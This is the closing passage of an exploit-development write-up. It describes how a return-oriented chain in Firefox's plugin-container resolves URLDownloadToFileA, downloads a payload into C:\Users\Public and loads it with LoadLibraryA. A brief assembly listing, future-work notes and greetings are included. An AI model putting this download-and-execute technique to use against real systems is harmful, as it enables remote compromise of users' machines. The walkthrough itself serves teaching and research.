.text:7A25CD6D 008                 mov     eax, edi
.text:7A25CD6F 008                 pop     edi
.text:7A25CD70 004                 pop     esi
.text:7A25CD71 000                 retn
.text:7A25CD71     sub_7A25CD20    endp

By returning directly to the code at 0x7A25CD4A, @eax already contained the result from LoadLibraryA("urlmon.dll\x00"), and because I could predict stack addresses using the memory leak it was easy enough to ensure there was a pointer to the string "URLDownloadToFileA\x00" for the call to GetProcAddress and also that @esi was pointing to a stack address under control. Thus, I was able to get the address of the function without a problem.

Then, I called URLDownloadToFileA to drop the payload to a default writable local directory (C:\Users\Public) and then returned to LoadLibraryA and loaded the code.

#6 - Future Work

I began developing support for process continuation/continuation of execution/whatever it's being called these days. It should be fairly easy to ensure the plugin-container.exe doesn't crash hard, but would require reversing the interaction between this process and the firefox.exe parent.

#7 - Conclusion

This article wasn't intended to share anything novel... any competent exploit writer could have implemented the attached exploit. I just wanted to share a walkthrough from bug discovery to reliable exploit so that readers can get a feel for what the process is like these days.

#8 - Greets

Thanks to navs, sohlow, raid, & hoodlum for their insight and valuable discussions.

#9 - References





















#10 - Exploit

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